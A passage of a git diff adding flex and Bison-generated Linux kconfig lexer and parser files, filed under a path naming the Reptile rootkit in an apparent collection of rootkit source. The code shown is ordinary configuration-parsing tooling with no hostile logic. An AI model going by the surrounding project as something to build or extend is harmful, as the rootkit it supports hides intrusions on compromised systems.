); + + for ( i = 0; i < _yybytes_len; ++i ) + buf[i] = yybytes[i]; + + buf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR; + + b = zconf_scan_buffer(buf,n ); + if ( ! b ) + YY_FATAL_ERROR( "bad buffer in zconf_scan_bytes()" ); + + /* It's okay to grow etc. this buffer, and we should throw it + * away when we're done. + */ + b->yy_is_our_buffer = 1; + + return b; +} + +#ifndef YY_EXIT_FAILURE +#define YY_EXIT_FAILURE 2 +#endif + +static void yy_fatal_error (yyconst char* msg ) +{ + (void) fprintf( stderr, "%s\n", msg ); + exit( YY_EXIT_FAILURE ); +} + +/* Redefine yyless() so it works in section 3 code. */ + +#undef yyless +#define yyless(n) \ + do \ + { \ + /* Undo effects of setting up zconftext. */ \ + int yyless_macro_arg = (n); \ + YY_LESS_LINENO(yyless_macro_arg);\ + zconftext[zconfleng] = (yy_hold_char); \ + (yy_c_buf_p) = zconftext + yyless_macro_arg; \ + (yy_hold_char) = *(yy_c_buf_p); \ + *(yy_c_buf_p) = '\0'; \ + zconfleng = yyless_macro_arg; \ + } \ + while ( 0 ) + +/* Accessor methods (get/set functions) to struct members. */ + +/** Get the current line number. + * + */ +int zconfget_lineno (void) +{ + + return zconflineno; +} + +/** Get the input stream. + * + */ +FILE *zconfget_in (void) +{ + return zconfin; +} + +/** Get the output stream. + * + */ +FILE *zconfget_out (void) +{ + return zconfout; +} + +/** Get the length of the current token. + * + */ +int zconfget_leng (void) +{ + return zconfleng; +} + +/** Get the current token. + * + */ + +char *zconfget_text (void) +{ + return zconftext; +} + +/** Set the current line number. + * @param line_number + * + */ +void zconfset_lineno (int line_number ) +{ + + zconflineno = line_number; +} + +/** Set the input stream. This does not discard the current + * input buffer. + * @param in_str A readable stream. + * + * @see zconf_switch_to_buffer + */ +void zconfset_in (FILE * in_str ) +{ + zconfin = in_str ; +} + +void zconfset_out (FILE * out_str ) +{ + zconfout = out_str ; +} + +int zconfget_debug (void) +{ + return zconf_flex_debug; +} + +void zconfset_debug (int bdebug ) +{ + zconf_flex_debug = bdebug ; +} + +static int yy_init_globals (void) +{ + /* Initialization is the same as for the non-reentrant scanner. + * This function is called from zconflex_destroy(), so don't allocate here. + */ + + (yy_buffer_stack) = 0; + (yy_buffer_stack_top) = 0; + (yy_buffer_stack_max) = 0; + (yy_c_buf_p) = (char *) 0; + (yy_init) = 0; + (yy_start) = 0; + +/* Defined in main.c */ +#ifdef YY_STDINIT + zconfin = stdin; + zconfout = stdout; +#else + zconfin = (FILE *) 0; + zconfout = (FILE *) 0; +#endif + + /* For future reference: Set errno on error, since we are called by + * zconflex_init() + */ + return 0; +} + +/* zconflex_destroy is for both reentrant and non-reentrant scanners. */ +int zconflex_destroy (void) +{ + + /* Pop the buffer stack, destroying each element. */ + while(YY_CURRENT_BUFFER){ + zconf_delete_buffer(YY_CURRENT_BUFFER ); + YY_CURRENT_BUFFER_LVALUE = NULL; + zconfpop_buffer_state(); + } + + /* Destroy the stack itself. */ + zconffree((yy_buffer_stack) ); + (yy_buffer_stack) = NULL; + + /* Reset the globals. This is important in a non-reentrant scanner so the next time + * zconflex() is called, initialization will occur. */ + yy_init_globals( ); + + return 0; +} + +/* + * Internal utility routines. + */ + +#ifndef yytext_ptr +static void yy_flex_strncpy (char* s1, yyconst char * s2, int n ) +{ + register int i; + for ( i = 0; i < n; ++i ) + s1[i] = s2[i]; +} +#endif + +#ifdef YY_NEED_STRLEN +static int yy_flex_strlen (yyconst char * s ) +{ + register int n; + for ( n = 0; s[n]; ++n ) + ; + + return n; +} +#endif + +void *zconfalloc (yy_size_t size ) +{ + return (void *) malloc( size ); +} + +void *zconfrealloc (void * ptr, yy_size_t size ) +{ + /* The cast to (char *) in the following accommodates both + * implementations that use char* generic pointers, and those + * that use void* generic pointers. It works with the latter + * because both ANSI C and C++ allow castless assignment from + * any pointer type to void*, and deal with argument conversions + * as though doing an assignment. + */ + return (void *) realloc( (char *) ptr, size ); +} + +void zconffree (void * ptr ) +{ + free( (char *) ptr ); /* see zconfrealloc() for (char *) cast */ +} + +#define YYTABLES_NAME "yytables" + +void zconf_starthelp(void) +{ + new_string(); + last_ts = first_ts = 0; + BEGIN(HELP); +} + +static void zconf_endhelp(void) +{ + zconflval.string = text; + BEGIN(INITIAL); +} + +/* + * Try to open specified file with following names: + * ./name + * $(srctree)/name + * The latter is used when srctree is separate from objtree + * when compiling the kernel. + * Return NULL if file is not found. + */ +FILE *zconf_fopen(const char *name) +{ + char *env, fullname[PATH_MAX+1]; + FILE *f; + + f = fopen(name, "r"); + if (!f && name != NULL && name[0] != '/') { + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + f = fopen(fullname, "r"); + } + } + return f; +} + +void zconf_initscan(const char *name) +{ + zconfin = zconf_fopen(name); + if (!zconfin) { + printf("can't find file %s\n", name); + exit(1); + } + + current_buf = xmalloc(sizeof(*current_buf)); + memset(current_buf, 0, sizeof(*current_buf)); + + current_file = file_lookup(name); + current_file->lineno = 1; +} + +void zconf_nextfile(const char *name) +{ + struct file *iter; + struct file *file = file_lookup(name); + struct buffer *buf = xmalloc(sizeof(*buf)); + memset(buf, 0, sizeof(*buf)); + + current_buf->state = YY_CURRENT_BUFFER; + zconfin = zconf_fopen(file->name); + if (!zconfin) { + printf("%s:%d: can't open file \"%s\"\n", + zconf_curname(), zconf_lineno(), file->name); + exit(1); + } + zconf_switch_to_buffer(zconf_create_buffer(zconfin,YY_BUF_SIZE)); + buf->parent = current_buf; + current_buf = buf; + + for (iter = current_file->parent; iter; iter = iter->parent ) { + if (!strcmp(current_file->name,iter->name) ) { + printf("%s:%d: recursive inclusion detected. " + "Inclusion path:\n current file : '%s'\n", + zconf_curname(), zconf_lineno(), + zconf_curname()); + iter = current_file->parent; + while (iter && \ + strcmp(iter->name,current_file->name)) { + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno-1); + iter = iter->parent; + } + if (iter) + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno+1); + exit(1); + } + } + file->lineno = 1; + file->parent = current_file; + current_file = file; +} + +static void zconf_endfile(void) +{ + struct buffer *parent; + + current_file = current_file->parent; + + parent = current_buf->parent; + if (parent) { + fclose(zconfin); + zconf_delete_buffer(YY_CURRENT_BUFFER); + zconf_switch_to_buffer(parent->state); + } + free(current_buf); + current_buf = parent; +} + +int zconf_lineno(void) +{ + return current_pos.lineno; +} + +const char *zconf_curname(void) +{ + return current_pos.file ? current_pos.file->name : ""; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.tab.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.tab.c_shipped new file mode 100644 index 0000000..81d1319 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.tab.c_shipped @@ -0,0 +1,2538 @@ +/* A Bison parser, made by GNU Bison 2.5. */ + +/* Bison implementation for Yacc-like parsers in C + + Copyright (C) 1984, 1989-1990, 2000-2011 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* As a special exception, you may create a larger work that contains + part or all of the Bison parser skeleton and distribute that work + under terms of your choice, so long as that work isn't itself a + parser generator using the skeleton or a modified version thereof + as a parser skeleton. Alternatively, if you modify or redistribute + the parser skeleton itself, you may (at your option) remove this + special exception, which will cause the skeleton and the resulting + Bison output files to be licensed under the GNU General Public + License without this special exception. + + This special exception was added by the Free Software Foundation in + version 2.2 of Bison. */ + +/* C LALR(1) parser skeleton written by Richard Stallman, by + simplifying the original so-called "semantic" parser. */ + +/* All symbols defined below should begin with yy or YY, to avoid + infringing on user name space. This should be done even for local + variables, as they might otherwise be expanded by user macros. + There are some unavoidable exceptions within include files to + define necessary library symbols; they are noted "INFRINGES ON + USER NAME SPACE" below. */ + +/* Identify Bison output. */ +#define YYBISON 1 + +/* Bison version. */ +#define YYBISON_VERSION "2.5" + +/* Skeleton name. */ +#define YYSKELETON_NAME "yacc.c" + +/* Pure parsers. */ +#define YYPURE 0 + +/* Push parsers. */ +#define YYPUSH 0 + +/* Pull parsers. */ +#define YYPULL 1 + +/* Using locations. */ +#define YYLSP_NEEDED 0 + +/* Substitute the variable and function names. */ +#define yyparse zconfparse +#define yylex zconflex +#define yyerror zconferror +#define yylval zconflval +#define yychar zconfchar +#define yydebug zconfdebug +#define yynerrs zconfnerrs + + +/* Copy the first part of user declarations. */ + + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + + + + +/* Enabling traces. */ +#ifndef YYDEBUG +# define YYDEBUG 1 +#endif + +/* Enabling verbose error messages. */ +#ifdef YYERROR_VERBOSE +# undef YYERROR_VERBOSE +# define YYERROR_VERBOSE 1 +#else +# define YYERROR_VERBOSE 0 +#endif + +/* Enabling the token table. */ +#ifndef YYTOKEN_TABLE +# define YYTOKEN_TABLE 0 +#endif + + +/* Tokens. */ +#ifndef YYTOKENTYPE +# define YYTOKENTYPE + /* Put the tokens into the symbol table, so that GDB and other debuggers + know about them. */ + enum yytokentype { + T_MAINMENU = 258, + T_MENU = 259, + T_ENDMENU = 260, + T_SOURCE = 261, + T_CHOICE = 262, + T_ENDCHOICE = 263, + T_COMMENT = 264, + T_CONFIG = 265, + T_MENUCONFIG = 266, + T_HELP = 267, + T_HELPTEXT = 268, + T_IF = 269, + T_ENDIF = 270, + T_DEPENDS = 271, + T_OPTIONAL = 272, + T_PROMPT = 273, + T_TYPE = 274, + T_DEFAULT = 275, + T_SELECT = 276, + T_RANGE = 277, + T_VISIBLE = 278, + T_OPTION = 279, + T_ON = 280, + T_WORD = 281, + T_WORD_QUOTE = 282, + T_UNEQUAL = 283, + T_CLOSE_PAREN = 284, + T_OPEN_PAREN = 285, + T_EOL = 286, + T_OR = 287, + T_AND = 288, + T_EQUAL = 289, + T_NOT = 290 + }; +#endif + + + +#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED +typedef union YYSTYPE +{ + + + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; + + + +} YYSTYPE; +# define YYSTYPE_IS_TRIVIAL 1 +# define yystype YYSTYPE /* obsolescent; will be withdrawn */ +# define YYSTYPE_IS_DECLARED 1 +#endif + + +/* Copy the second part of user declarations. */ + + +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" + + + +#ifdef short +# undef short +#endif + +#ifdef YYTYPE_UINT8 +typedef YYTYPE_UINT8 yytype_uint8; +#else +typedef unsigned char yytype_uint8; +#endif + +#ifdef YYTYPE_INT8 +typedef YYTYPE_INT8 yytype_int8; +#elif (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +typedef signed char yytype_int8; +#else +typedef short int yytype_int8; +#endif + +#ifdef YYTYPE_UINT16 +typedef YYTYPE_UINT16 yytype_uint16; +#else +typedef unsigned short int yytype_uint16; +#endif + +#ifdef YYTYPE_INT16 +typedef YYTYPE_INT16 yytype_int16; +#else +typedef short int yytype_int16; +#endif + +#ifndef YYSIZE_T +# ifdef __SIZE_TYPE__ +# define YYSIZE_T __SIZE_TYPE__ +# elif defined size_t +# define YYSIZE_T size_t +# elif ! defined YYSIZE_T && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# else +# define YYSIZE_T unsigned int +# endif +#endif + +#define YYSIZE_MAXIMUM ((YYSIZE_T) -1) + +#ifndef YY_ +# if defined YYENABLE_NLS && YYENABLE_NLS +# if ENABLE_NLS +# include /* INFRINGES ON USER NAME SPACE */ +# define YY_(msgid) dgettext ("bison-runtime", msgid) +# endif +# endif +# ifndef YY_ +# define YY_(msgid) msgid +# endif +#endif + +/* Suppress unused-variable warnings by "using" E. */ +#if ! defined lint || defined __GNUC__ +# define YYUSE(e) ((void) (e)) +#else +# define YYUSE(e) /* empty */ +#endif + +/* Identity function, used to suppress warnings about constant conditions. */ +#ifndef lint +# define YYID(n) (n) +#else +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static int +YYID (int yyi) +#else +static int +YYID (yyi) + int yyi; +#endif +{ + return yyi; +} +#endif + +#if ! defined yyoverflow || YYERROR_VERBOSE + +/* The parser invokes alloca or malloc; define the necessary symbols. */ + +# ifdef YYSTACK_USE_ALLOCA +# if YYSTACK_USE_ALLOCA +# ifdef __GNUC__ +# define YYSTACK_ALLOC __builtin_alloca +# elif defined __BUILTIN_VA_ARG_INCR +# include /* INFRINGES ON USER NAME SPACE */ +# elif defined _AIX +# define YYSTACK_ALLOC __alloca +# elif defined _MSC_VER +# include /* INFRINGES ON USER NAME SPACE */ +# define alloca _alloca +# else +# define YYSTACK_ALLOC alloca +# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# endif +# endif +# endif + +# ifdef YYSTACK_ALLOC + /* Pacify GCC's `empty if-body' warning. */ +# define YYSTACK_FREE(Ptr) do { /* empty */; } while (YYID (0)) +# ifndef YYSTACK_ALLOC_MAXIMUM + /* The OS might guarantee only one guard page at the bottom of the stack, + and a page size can be as small as 4096 bytes. So we cannot safely + invoke alloca (N) if N exceeds 4096. Use a slightly smaller number + to allow for a few compiler-allocated temporary stack slots. */ +# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ +# endif +# else +# define YYSTACK_ALLOC YYMALLOC +# define YYSTACK_FREE YYFREE +# ifndef YYSTACK_ALLOC_MAXIMUM +# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM +# endif +# if (defined __cplusplus && ! defined EXIT_SUCCESS \ + && ! ((defined YYMALLOC || defined malloc) \ + && (defined YYFREE || defined free))) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# ifndef YYMALLOC +# define YYMALLOC malloc +# if ! defined malloc && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# ifndef YYFREE +# define YYFREE free +# if ! defined free && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void free (void *); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# endif +#endif /* ! defined yyoverflow || YYERROR_VERBOSE */ + + +#if (! defined yyoverflow \ + && (! defined __cplusplus \ + || (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) + +/* A type that is properly aligned for any stack member. */ +union yyalloc +{ + yytype_int16 yyss_alloc; + YYSTYPE yyvs_alloc; +}; + +/* The size of the maximum gap between one aligned stack and the next. */ +# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1) + +/* The size of an array large to enough to hold all stacks, each with + N elements. */ +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \ + + YYSTACK_GAP_MAXIMUM) + +# define YYCOPY_NEEDED 1 + +/* Relocate STACK from its old location to the new one. The + local variables YYSIZE and YYSTACKSIZE give the old and new number of + elements in the stack, and YYPTR gives the new location of the + stack. Advance YYPTR to a properly aligned location for the next + stack. */ +# define YYSTACK_RELOCATE(Stack_alloc, Stack) \ + do \ + { \ + YYSIZE_T yynewbytes; \ + YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ + Stack = &yyptr->Stack_alloc; \ + yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \ + yyptr += yynewbytes / sizeof (*yyptr); \ + } \ + while (YYID (0)) + +#endif + +#if defined YYCOPY_NEEDED && YYCOPY_NEEDED +/* Copy COUNT objects from FROM to TO. The source and destination do + not overlap. */ +# ifndef YYCOPY +# if defined __GNUC__ && 1 < __GNUC__ +# define YYCOPY(To, From, Count) \ + __builtin_memcpy (To, From, (Count) * sizeof (*(From))) +# else +# define YYCOPY(To, From, Count) \ + do \ + { \ + YYSIZE_T yyi; \ + for (yyi = 0; yyi < (Count); yyi++) \ + (To)[yyi] = (From)[yyi]; \ + } \ + while (YYID (0)) +# endif +# endif +#endif /* !YYCOPY_NEEDED */ + +/* YYFINAL -- State number of the termination state. */ +#define YYFINAL 11 +/* YYLAST -- Last index in YYTABLE. */ +#define YYLAST 290 + +/* YYNTOKENS -- Number of terminals. */ +#define YYNTOKENS 36 +/* YYNNTS -- Number of nonterminals. */ +#define YYNNTS 50 +/* YYNRULES -- Number of rules. */ +#define YYNRULES 118 +/* YYNRULES -- Number of states. */ +#define YYNSTATES 191 + +/* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX. */ +#define YYUNDEFTOK 2 +#define YYMAXUTOK 290 + +#define YYTRANSLATE(YYX) \ + ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) + +/* YYTRANSLATE[YYLEX] -- Bison symbol number corresponding to YYLEX. */ +static const yytype_uint8 yytranslate[] = +{ + 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, + 35 +}; + +#if YYDEBUG +/* YYPRHS[YYN] -- Index of the first RHS symbol of rule number YYN in + YYRHS. */ +static const yytype_uint16 yyprhs[] = +{ + 0, 0, 3, 6, 8, 11, 13, 14, 17, 20, + 23, 26, 31, 36, 40, 42, 44, 46, 48, 50, + 52, 54, 56, 58, 60, 62, 64, 66, 68, 72, + 75, 79, 82, 86, 89, 90, 93, 96, 99, 102, + 105, 108, 112, 117, 122, 127, 133, 137, 138, 142, + 143, 146, 150, 153, 155, 159, 160, 163, 166, 169, + 172, 175, 180, 184, 187, 192, 193, 196, 200, 202, + 206, 207, 210, 213, 216, 220, 224, 228, 230, 234, + 235, 238, 241, 244, 248, 252, 255, 258, 261, 262, + 265, 268, 271, 276, 277, 280, 283, 286, 287, 290, + 292, 294, 297, 300, 303, 305, 308, 309, 312, 314, + 318, 322, 326, 329, 333, 337, 339, 341, 342 +}; + +/* YYRHS -- A `-1'-separated list of the rules' RHS. */ +static const yytype_int8 yyrhs[] = +{ + 37, 0, -1, 81, 38, -1, 38, -1, 63, 39, + -1, 39, -1, -1, 39, 41, -1, 39, 55, -1, + 39, 67, -1, 39, 80, -1, 39, 26, 1, 31, + -1, 39, 40, 1, 31, -1, 39, 1, 31, -1, + 16, -1, 18, -1, 19, -1, 21, -1, 17, -1, + 22, -1, 20, -1, 23, -1, 31, -1, 61, -1, + 71, -1, 44, -1, 46, -1, 69, -1, 26, 1, + 31, -1, 1, 31, -1, 10, 26, 31, -1, 43, + 47, -1, 11, 26, 31, -1, 45, 47, -1, -1, + 47, 48, -1, 47, 49, -1, 47, 75, -1, 47, + 73, -1, 47, 42, -1, 47, 31, -1, 19, 78, + 31, -1, 18, 79, 82, 31, -1, 20, 83, 82, + 31, -1, 21, 26, 82, 31, -1, 22, 84, 84, + 82, 31, -1, 24, 50, 31, -1, -1, 50, 26, + 51, -1, -1, 34, 79, -1, 7, 85, 31, -1, + 52, 56, -1, 80, -1, 53, 58, 54, -1, -1, + 56, 57, -1, 56, 75, -1, 56, 73, -1, 56, + 31, -1, 56, 42, -1, 18, 79, 82, 31, -1, + 19, 78, 31, -1, 17, 31, -1, 20, 26, 82, + 31, -1, -1, 58, 41, -1, 14, 83, 81, -1, + 80, -1, 59, 62, 60, -1, -1, 62, 41, -1, + 62, 67, -1, 62, 55, -1, 3, 79, 81, -1, + 4, 79, 31, -1, 64, 76, 74, -1, 80, -1, + 65, 68, 66, -1, -1, 68, 41, -1, 68, 67, + -1, 68, 55, -1, 6, 79, 31, -1, 9, 79, + 31, -1, 70, 74, -1, 12, 31, -1, 72, 13, + -1, -1, 74, 75, -1, 74, 31, -1, 74, 42, + -1, 16, 25, 83, 31, -1, -1, 76, 77, -1, + 76, 31, -1, 23, 82, -1, -1, 79, 82, -1, + 26, -1, 27, -1, 5, 31, -1, 8, 31, -1, + 15, 31, -1, 31, -1, 81, 31, -1, -1, 14, + 83, -1, 84, -1, 84, 34, 84, -1, 84, 28, + 84, -1, 30, 83, 29, -1, 35, 83, -1, 83, + 32, 83, -1, 83, 33, 83, -1, 26, -1, 27, + -1, -1, 26, -1 +}; + +/* YYRLINE[YYN] -- source line where rule number YYN was defined. */ +static const yytype_uint16 yyrline[] = +{ + 0, 103, 103, 103, 105, 105, 107, 109, 110, 111, + 112, 113, 114, 118, 122, 122, 122, 122, 122, 122, + 122, 122, 126, 127, 128, 129, 130, 131, 135, 136, + 142, 150, 156, 164, 174, 176, 177, 178, 179, 180, + 181, 184, 192, 198, 208, 214, 220, 223, 225, 236, + 237, 242, 251, 256, 264, 267, 269, 270, 271, 272, + 273, 276, 282, 293, 299, 309, 311, 316, 324, 332, + 335, 337, 338, 339, 344, 351, 358, 363, 371, 374, + 376, 377, 378, 381, 389, 396, 403, 409, 416, 418, + 419, 420, 423, 431, 433, 434, 437, 444, 446, 451, + 452, 455, 456, 457, 461, 462, 465, 466, 469, 470, + 471, 472, 473, 474, 475, 478, 479, 482, 483 +}; +#endif + +#if YYDEBUG || YYERROR_VERBOSE || YYTOKEN_TABLE +/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. + First, the terminals, then, starting at YYNTOKENS, nonterminals. */ +static const char *const yytname[] = +{ + "$end", "error", "$undefined", "T_MAINMENU", "T_MENU", "T_ENDMENU", + "T_SOURCE", "T_CHOICE", "T_ENDCHOICE", "T_COMMENT", "T_CONFIG", + "T_MENUCONFIG", "T_HELP", "T_HELPTEXT", "T_IF", "T_ENDIF", "T_DEPENDS", + "T_OPTIONAL", "T_PROMPT", "T_TYPE", "T_DEFAULT", "T_SELECT", "T_RANGE", + "T_VISIBLE", "T_OPTION", "T_ON", "T_WORD", "T_WORD_QUOTE", "T_UNEQUAL", + "T_CLOSE_PAREN", "T_OPEN_PAREN", "T_EOL", "T_OR", "T_AND", "T_EQUAL", + "T_NOT", "$accept", "input", "start", "stmt_list", "option_name", + "common_stmt", "option_error", "config_entry_start", "config_stmt", + "menuconfig_entry_start", "menuconfig_stmt", "config_option_list", + "config_option", "symbol_option", "symbol_option_list", + "symbol_option_arg", "choice", "choice_entry", "choice_end", + "choice_stmt", "choice_option_list", "choice_option", "choice_block", + "if_entry", "if_end", "if_stmt", "if_block", "mainmenu_stmt", "menu", + "menu_entry", "menu_end", "menu_stmt", "menu_block", "source_stmt", + "comment", "comment_stmt", "help_start", "help", "depends_list", + "depends", "visibility_list", "visible", "prompt_stmt_opt", "prompt", + "end", "nl", "if_expr", "expr", "symbol", "word_opt", 0 +}; +#endif + +# ifdef YYPRINT +/* YYTOKNUM[YYLEX-NUM] -- Internal token number corresponding to + token YYLEX-NUM. */ +static const yytype_uint16 yytoknum[] = +{ + 0, 256, 257, 258, 259, 260, 261, 262, 263, 264, + 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, + 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, + 285, 286, 287, 288, 289, 290 +}; +# endif + +/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ +static const yytype_uint8 yyr1[] = +{ + 0, 36, 37, 37, 38, 38, 39, 39, 39, 39, + 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, + 40, 40, 41, 41, 41, 41, 41, 41, 42, 42, + 43, 44, 45, 46, 47, 47, 47, 47, 47, 47, + 47, 48, 48, 48, 48, 48, 49, 50, 50, 51, + 51, 52, 53, 54, 55, 56, 56, 56, 56, 56, + 56, 57, 57, 57, 57, 58, 58, 59, 60, 61, + 62, 62, 62, 62, 63, 64, 65, 66, 67, 68, + 68, 68, 68, 69, 70, 71, 72, 73, 74, 74, + 74, 74, 75, 76, 76, 76, 77, 78, 78, 79, + 79, 80, 80, 80, 81, 81, 82, 82, 83, 83, + 83, 83, 83, 83, 83, 84, 84, 85, 85 +}; + +/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */ +static const yytype_uint8 yyr2[] = +{ + 0, 2, 2, 1, 2, 1, 0, 2, 2, 2, + 2, 4, 4, 3, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, + 3, 2, 3, 2, 0, 2, 2, 2, 2, 2, + 2, 3, 4, 4, 4, 5, 3, 0, 3, 0, + 2, 3, 2, 1, 3, 0, 2, 2, 2, 2, + 2, 4, 3, 2, 4, 0, 2, 3, 1, 3, + 0, 2, 2, 2, 3, 3, 3, 1, 3, 0, + 2, 2, 2, 3, 3, 2, 2, 2, 0, 2, + 2, 2, 4, 0, 2, 2, 2, 0, 2, 1, + 1, 2, 2, 2, 1, 2, 0, 2, 1, 3, + 3, 3, 2, 3, 3, 1, 1, 0, 1 +}; + +/* YYDEFACT[STATE-NAME] -- Default reduction number in state STATE-NUM. + Performed when YYTABLE doesn't specify something else to do. Zero + means the default is an error. */ +static const yytype_uint8 yydefact[] = +{ + 6, 0, 104, 0, 3, 0, 6, 6, 99, 100, + 0, 1, 0, 0, 0, 0, 117, 0, 0, 0, + 0, 0, 0, 14, 18, 15, 16, 20, 17, 19, + 21, 0, 22, 0, 7, 34, 25, 34, 26, 55, + 65, 8, 70, 23, 93, 79, 9, 27, 88, 24, + 10, 0, 105, 2, 74, 13, 0, 101, 0, 118, + 0, 102, 0, 0, 0, 115, 116, 0, 0, 0, + 108, 103, 0, 0, 0, 0, 0, 0, 0, 88, + 0, 0, 75, 83, 51, 84, 30, 32, 0, 112, + 0, 0, 67, 0, 0, 11, 12, 0, 0, 0, + 0, 97, 0, 0, 0, 47, 0, 40, 39, 35, + 36, 0, 38, 37, 0, 0, 97, 0, 59, 60, + 56, 58, 57, 66, 54, 53, 71, 73, 69, 72, + 68, 106, 95, 0, 94, 80, 82, 78, 81, 77, + 90, 91, 89, 111, 113, 114, 110, 109, 29, 86, + 0, 106, 0, 106, 106, 106, 0, 0, 0, 87, + 63, 106, 0, 106, 0, 96, 0, 0, 41, 98, + 0, 0, 106, 49, 46, 28, 0, 62, 0, 107, + 92, 42, 43, 44, 0, 0, 48, 61, 64, 45, + 50 +}; + +/* YYDEFGOTO[NTERM-NUM]. */ +static const yytype_int16 yydefgoto[] = +{ + -1, 3, 4, 5, 33, 34, 108, 35, 36, 37, + 38, 74, 109, 110, 157, 186, 39, 40, 124, 41, + 76, 120, 77, 42, 128, 43, 78, 6, 44, 45, + 137, 46, 80, 47, 48, 49, 111, 112, 81, 113, + 79, 134, 152, 153, 50, 7, 165, 69, 70, 60 +}; + +/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing + STATE-NUM. */ +#define YYPACT_NINF -90 +static const yytype_int16 yypact[] = +{ + 4, 42, -90, 96, -90, 111, -90, 15, -90, -90, + 75, -90, 82, 42, 104, 42, 110, 107, 42, 115, + 125, -4, 121, -90, -90, -90, -90, -90, -90, -90, + -90, 